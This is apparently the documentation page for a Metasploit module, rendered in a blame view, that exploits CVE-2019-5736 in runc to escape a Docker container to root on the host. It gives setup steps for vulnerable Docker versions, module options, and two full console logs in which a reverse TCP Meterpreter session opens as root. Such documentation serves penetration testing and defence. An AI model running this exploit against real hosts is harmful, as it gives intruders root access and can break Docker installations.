2021-05-21 22:33:46 +02:00
|
|
|
## Vulnerable Application
|
|
|
|
|
|
|
|
|
|
### Description
|
|
|
|
|
|
|
|
|
|
This module leverages a flaw in `runc` to escape a Docker container and get
|
|
|
|
|
command execution on the host as root. This vulnerability is identified as
|
|
|
|
|
CVE-2019-5736. It overwrites the `runc` binary with the payload and wait for
|
|
|
|
|
someone to use `docker exec` to get into the container. This will trigger the
|
|
|
|
|
payload execution. Note that a valid session as the root user inside the
|
|
|
|
|
container is needed.
|
|
|
|
|
|
|
|
|
|
**WARNING**: Executing this exploit carries important risks regarding the
|
|
|
|
|
Docker installation integrity on the target and inside the container (see [Side
|
|
|
|
|
Effects](#side-effects) section).
|
|
|
|
|
|
|
|
|
|
`runc` has been [fixed][1] in version [`1.0-rc7`][2] and included in Docker
|
|
|
|
|
version [`18.09.2`][3].
|
|
|
|
|
|
|
|
|
|
This module has been successfully tested on Ubuntu 18.04.5 x64 and Fedora 28
|
|
|
|
|
x64. However, it doesn't seem to work on CentOS 7 x64. Also, it looks like the
|
|
|
|
|
exploit is more reliable on Fedora than Ubuntu.
|
|
|
|
|
|
|
|
|
|
### Installation
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
#### Ubuntu 18.04.5 x64 with Docker version 18.03.1
|
|
|
|
|
```
|
|
|
|
|
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg
|
|
|
|
|
echo "deb [arch=amd64 signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
|
|
|
|
|
apt-get update
|
|
|
|
|
apt-get install docker-ce=18.03.1~ce~3-0~ubuntu
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
#### Fedora 28 x64 with Docker version 18.03.1
|
|
|
|
|
```
|
|
|
|
|
dnf remove docker docker-client docker-client-latest docker-common docker-latest docker-latest-logrotate docker-logrotate docker-selinux docker-engine-selinux docker-engine
|
|
|
|
|
dnf -y install dnf-plugins-core
|
|
|
|
|
dnf config-manager --add-repo https://download.docker.com/linux/fedora/docker-ce.repo
|
|
|
|
|
dnf -y install docker-ce-18.03.1.ce-3.fc28
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
### Side Effects
|
|
|
|
|
|
|
|
|
|
#### runc
|
|
|
|
|
The host `runc` binary will be overwritten during exploitation. The module
|
2021-06-07 19:05:34 +02:00
|
|
|
takes care of making a backup before the overwrite and restoring it when the new
|
2021-05-21 22:33:46 +02:00
|
|
|
session is established. However, it might not work as expected and something
|
2021-06-07 19:05:34 +02:00
|
|
|
could go wrong during the exploitation, which might prevent the session being
|
2021-05-21 22:33:46 +02:00
|
|
|
created. In this case, `runc` won't be restored and the the host will no longer
|
|
|
|
|
be able to run Docker containers. This process will need to be done manually
|
|
|
|
|
somehow by following the instruction displayed during the module execution:
|
|
|
|
|
```
|
|
|
|
|
cp <path to docker-runc backup> <path to docker-runc>
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
#### shell
|
|
|
|
|
The shell binary inside the container (set by the `OVERWRITE` option) will also
|
2021-06-07 19:05:34 +02:00
|
|
|
be overwritten. However, the module makes a backup prior to the overwrite and
|
2021-05-21 22:33:46 +02:00
|
|
|
restores it automatically. This process is relatively safe, but something can
|
|
|
|
|
still go wrong along the way. Again, this will need to be done manually, using
|
|
|
|
|
the information displayed during the module execution:
|
|
|
|
|
```
|
|
|
|
|
cp <path to the shell binary backup> <path to the shell binary>
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
## Verification Steps
|
|
|
|
|
1. Install Docker (see [Installation](#installation))
|
|
|
|
|
1. Start msfconsole
|
|
|
|
|
1. Get a session as root inside a Docker container
|
|
|
|
|
1. Do: `use linux/local/docker_runc_escape`
|
|
|
|
|
1. Do: `set LHOST <ip>`
|
|
|
|
|
1. Do: `set LPORT <port>`
|
|
|
|
|
1. Do: `set session <session nb>`
|
|
|
|
|
1. Do: `run`
|
|
|
|
|
1. On the host target, run `docker exec -ti <container_id> /bin/sh`
|
|
|
|
|
1. You should get a Meterpreter session.
|
|
|
|
|
1. Verify you escaped the Docker container
|
|
|
|
|
1. Verify `WRITABLEDIR` on the host is empty (cleanup successful)
|
|
|
|
|
1. Verify `docker-runc` has been restored by running `docker-runc --version`
|
|
|
|
|
|
|
|
|
|
## Options
|
|
|
|
|
|
|
|
|
|
### OVERWRITE
|
|
|
|
|
|
2023-10-10 14:46:18 -04:00
|
|
|
The shell that is going to be overwritten with `#!/proc/self/exe`. This will be
|
2021-05-21 22:33:46 +02:00
|
|
|
triggered by a user running `docker exec -ti <container_id> <overwritten
|
|
|
|
|
shell>`. Default is `/bin/sh`.
|
|
|
|
|
|
|
|
|
|
### SHELL
|
|
|
|
|
|
|
|
|
|
The shell the module will use in scripts (must be different than `OVERWRITE`
|
|
|
|
|
shell). During the execution, some shell script have to be executed in the
|
|
|
|
|
Docker container. Since the main `OVERWRITE` shell has been overwritten,
|
|
|
|
|
another shell must be used. Default is `/bin/bash`.
|
|
|
|
|
|
|
|
|
|
### WRITABLEDIR
|
|
|
|
|
|
|
|
|
|
A directory where you can write files. Default is `/tmp`.
|
|
|
|
|
|
|
|
|
|
## Scenarios
|
|
|
|
|
|
|
|
|
|
## Docker version 18.03.1-ce (build 9ee9f40) on Ubuntu 18.04.5 LTS
|
|
|
|
|
```
|
|
|
|
|
msf6 exploit(linux/local/docker_runc_escape) > options
|
|
|
|
|
|
|
|
|
|
Module options (exploit/linux/local/docker_runc_escape):
|
|
|
|
|
|
|
|
|
|
Name Current Setting Required Description
|
|
|
|
|
---- --------------- -------- -----------
|
|
|
|
|
OVERWRITE /bin/sh yes Shell to overwrite with /proc/self/exe
|
|
|
|
|
SESSION 1 yes The session to run this module on.
|
|
|
|
|
SHELL /bin/bash yes Shell to use in exploit script (must be different than OVERWRITE shell)
|
|
|
|
|
WRITABLEDIR /tmp yes A directory where you can write files.
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Payload options (linux/x64/meterpreter/reverse_tcp):
|
|
|
|
|
|
|
|
|
|
Name Current Setting Required Description
|
|
|
|
|
---- --------------- -------- -----------
|
|
|
|
|
LHOST 192.168.144.1 yes The listen address (an interface may be specified)
|
|
|
|
|
LPORT 4455 yes The listen port
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Exploit target:
|
|
|
|
|
|
|
|
|
|
Id Name
|
|
|
|
|
-- ----
|
|
|
|
|
1 Linux (Dropper) x64
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
msf6 exploit(linux/local/docker_runc_escape) > run
|
|
|
|
|
|
|
|
|
|
[!] SESSION may not be compatible with this module.
|
|
|
|
|
[*] Started reverse TCP handler on 192.168.144.1:4455
|
|
|
|
|
[*] Make a backup of /bin/sh (/tmp/wSCJRb1)
|
|
|
|
|
[*] Overwrite /bin/sh
|
|
|
|
|
[*] Upload payload
|
|
|
|
|
[*] Writing '/tmp/pMQAa0FYW' (250 bytes) ...
|
|
|
|
|
[*] Upload exploit
|
|
|
|
|
[*] Writing '/tmp/IP8LtTm7' (8672 bytes) ...
|
|
|
|
|
[*] Upload loop shell script ('runc' will be backed up to /tmp/MKM9z)
|
|
|
|
|
[*] Writing '/tmp/k41AYY' (344 bytes) ...
|
|
|
|
|
[*] Launch exploit loop and wait for 300 sec.
|
|
|
|
|
[*] Sending stage (3012548 bytes) to 192.168.144.135
|
|
|
|
|
[+] Deleted /tmp/pMQAa0FYW
|
|
|
|
|
[+] Deleted /tmp/IP8LtTm7
|
|
|
|
|
[+] Deleted /tmp/k41AYY
|
|
|
|
|
[+] Original runc binary restored
|
|
|
|
|
[*] Meterpreter session 2 opened (192.168.144.1:4455 -> 192.168.144.135:51916) at 2021-05-21 19:01:03 +0200
|
|
|
|
|
[*] Done. Waiting a bit more to make sure everything is setup...
|
|
|
|
|
[+] Session ready!
|
|
|
|
|
|
|
|
|
|
meterpreter > getuid
|
|
|
|
|
Server username: root @ ubuntu (uid=0, gid=0, euid=0, egid=0)
|
|
|
|
|
meterpreter > sysinfo
|
|
|
|
|
Computer : 192.168.144.135
|
|
|
|
|
OS : Ubuntu 18.04 (Linux 5.4.0-72-generic)
|
|
|
|
|
Architecture : x64
|
|
|
|
|
BuildTuple : x86_64-linux-musl
|
|
|
|
|
Meterpreter : x64/linux
|
|
|
|
|
meterpreter > [*] Shutting down Meterpreter...
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
## Docker version 18.03.1-ce (build 9ee9f40) on Fedora 28 x64
|
|
|
|
|
```
|
|
|
|
|
msf6 exploit(linux/local/docker_runc_escape) > options
|
|
|
|
|
|
|
|
|
|
Module options (exploit/linux/local/docker_runc_escape):
|
|
|
|
|
|
|
|
|
|
Name Current Setting Required Description
|
|
|
|
|
---- --------------- -------- -----------
|
|
|
|
|
OVERWRITE /bin/sh yes Shell to overwrite with /proc/self/exe
|
|
|
|
|
SESSION 1 yes The session to run this module on.
|
|
|
|
|
SHELL /bin/bash yes Shell to use in exploit script (must be different than OVERWRITE shell)
|
|
|
|
|
WRITABLEDIR /tmp yes A directory where you can write files.
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Payload options (linux/x64/meterpreter/reverse_tcp):
|
|
|
|
|
|
|
|
|
|
Name Current Setting Required Description
|
|
|
|
|
---- --------------- -------- -----------
|
|
|
|
|
LHOST 192.168.144.1 yes The listen address (an interface may be specified)
|
|
|
|
|
LPORT 4455 yes The listen port
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Exploit target:
|
|
|
|
|
|
|
|
|
|
Id Name
|
|
|
|
|
-- ----
|
|
|
|
|
1 Linux (Dropper) x64
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
msf6 exploit(linux/local/docker_runc_escape) > run
|
|
|
|
|
|
|
|
|
|
[!] SESSION may not be compatible with this module.
|
|
|
|
|
[*] Started reverse TCP handler on 192.168.144.1:4455
|
|
|
|
|
[*] Make a backup of /bin/sh (/tmp/VHR0jdR8V)
|
|
|
|
|
[*] Overwrite /bin/sh
|
|
|
|
|
[*] Upload payload
|
|
|
|
|
[*] Writing '/tmp/jPfX1LCnzb' (250 bytes) ...
|
|
|
|
|
[*] Upload exploit
|
|
|
|
|
[*] Writing '/tmp/aI0aDmv91K' (8744 bytes) ...
|
|
|
|
|
[*] Upload loop shell script ('runc' will be backed up to /tmp/IevTLfZ)
|
|
|
|
|
[*] Writing '/tmp/Rba74' (351 bytes) ...
|
|
|
|
|
[*] Launch exploit loop and wait for 300 sec.
|
|
|
|
|
[*] Sending stage (3012548 bytes) to 192.168.144.219
|
|
|
|
|
[+] Deleted /tmp/jPfX1LCnzb
|
|
|
|
|
[+] Deleted /tmp/aI0aDmv91K
|
|
|
|
|
[+] Deleted /tmp/Rba74
|
|
|
|
|
[+] Original runc binary restored
|
|
|
|
|
[*] Meterpreter session 2 opened (192.168.144.1:4455 -> 192.168.144.219:60124) at 2021-05-21 18:34:46 +0200
|
|
|
|
|
[*] Done. Waiting a bit more to make sure everything is setup...
|
|
|
|
|
[+] Session ready!
|
|
|
|
|
|
|
|
|
|
meterpreter > getuid
|
|
|
|
|
Server username: root @ localhost.localdomain (uid=0, gid=0, euid=0, egid=0)
|
|
|
|
|
meterpreter > sysinfo
|
|
|
|
|
Computer : localhost.localdomain
|
|
|
|
|
OS : Fedora 28 (Linux 5.0.16-100.fc28.x86_64)
|
|
|
|
|
Architecture : x64
|
|
|
|
|
BuildTuple : x86_64-linux-musl
|
|
|
|
|
Meterpreter : x64/linux
|
|
|
|
|
meterpreter > [*] Shutting down Meterpreter...
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
[1]: https://github.com/opencontainers/runc/releases/tag/v1.0.0-rc7
|
|
|
|
|
[2]: https://github.com/opencontainers/runc/commit/6635b4f0c6af3810594d2770f662f34ddc15b40d
|
|
|
|
|
[3]: https://github.com/docker/docker-ce/releases/tag/v18.09.2
|